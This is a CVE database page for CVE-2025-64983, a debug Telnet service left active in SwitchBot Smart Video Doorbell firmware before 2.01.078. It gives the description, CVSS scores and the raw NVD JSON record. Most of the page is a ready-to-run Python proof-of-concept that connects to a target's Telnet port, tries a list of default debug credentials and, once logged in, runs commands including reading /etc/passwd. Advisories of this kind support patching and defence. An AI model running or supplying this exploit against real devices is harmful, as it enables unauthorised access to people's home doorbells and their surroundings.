Security Vulnerability Report
中文
CVE-2025-64983 CVSS 8.0 HIGH

CVE-2025-64983

Published: 2025-11-26 05:16:19
Last Modified: 2026-04-15 00:35:42

Description

Smart Video Doorbell firmware versions prior to 2.01.078 contain an active debug code vulnerability that allows an attacker to connect via Telnet and gain access to the device.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SwitchBot Smart Video Doorbell 固件 < 2.01.078

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64983 PoC - SwitchBot Smart Video Doorbell Debug Code Exploitation Discovered by: [email protected] CVSS: 8.0 (HIGH) """ import socket import sys import time def check_telnet_access(target_ip, port=23, timeout=10): """ Check if Telnet service is exposed on the target device. This is the initial step for exploiting CVE-2025-64983. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((target_ip, port)) sock.close() return result == 0 except Exception as e: print(f"[-] Error checking Telnet service: {e}") return False def exploit_debug_telnet(target_ip, port=23, timeout=10): """ Exploit the active debug code vulnerability (CVE-2025-64983). Attempts to connect to the device via Telnet and gain shell access. Note: This requires knowledge of debug credentials or default accounts. """ try: print(f"[*] Connecting to {target_ip}:{port} via Telnet...") # Connect to Telnet service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((target_ip, port)) # Read initial banner time.sleep(2) response = sock.recv(1024).decode('utf-8', errors='ignore') print(f"[+] Received banner:\n{response}") # Try common debug credentials debug_credentials = [ ("root", "root"), ("admin", "admin"), ("debug", "debug"), ("test", "test"), ("user", "user"), ("", "") # Empty credentials (no password) ] for username, password in debug_credentials: print(f"[*] Trying credentials: {username}/{password}") # Send username if username: sock.sendall(f"{username}\n".encode()) time.sleep(1) # Send password if password: sock.sendall(f"{password}\n".encode()) time.sleep(2) # Check for successful login response = sock.recv(2048).decode('utf-8', errors='ignore') if "#" in response or "$" in response or "root@" in response: print(f"[!] SUCCESS: Logged in with {username}/{password}") print(f"[+] Shell access obtained!") print(f"[+] Device Response:\n{response}") # Execute verification commands commands = ["uname -a", "cat /etc/passwd", "id", "ls -la /"] for cmd in commands: sock.sendall(f"{cmd}\n".encode()) time.sleep(1) resp = sock.recv(2048).decode('utf-8', errors='ignore') print(f"[CMD] {cmd}:\n{resp}") return True print("[-] Failed to authenticate with common credentials") sock.close() return False except socket.timeout: print("[-] Connection timed out") return False except Exception as e: print(f"[-] Error during exploitation: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-64983-poc.py <target_ip>") print("Example: python3 cve-2025-64983-poc.py 192.168.1.100") sys.exit(1) target_ip = sys.argv[1] print("=" * 60) print("CVE-2025-64983 PoC - SwitchBot Smart Video Doorbell") print("Active Debug Code Vulnerability") print("=" * 60) # Step 1: Check if Telnet is accessible print(f"\n[*] Step 1: Checking Telnet service on {target_ip}...") if check_telnet_access(target_ip): print("[+] Telnet service is exposed!") # Step 2: Attempt exploitation print("\n[*] Step 2: Attempting to exploit debug code vulnerability...") exploit_debug_telnet(target_ip) else: print("[-] Telnet service not accessible or device not vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64983", "sourceIdentifier": "[email protected]", "published": "2025-11-26T05:16:18.783", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Smart Video Doorbell firmware versions prior to 2.01.078 contain an active debug code vulnerability that allows an attacker to connect via Telnet and gain access to the device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-489"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN67185535", "source": "[email protected]"}, {"url": "https://www.switch-bot.com/products/switchbot-video-doorbell?srsltid=AfmBOooGEZArqUag9p59qB8ti2fDP0vCOzxX33NGlpJ8yDlZnzC3vJ_f", "source": "[email protected]"}]}}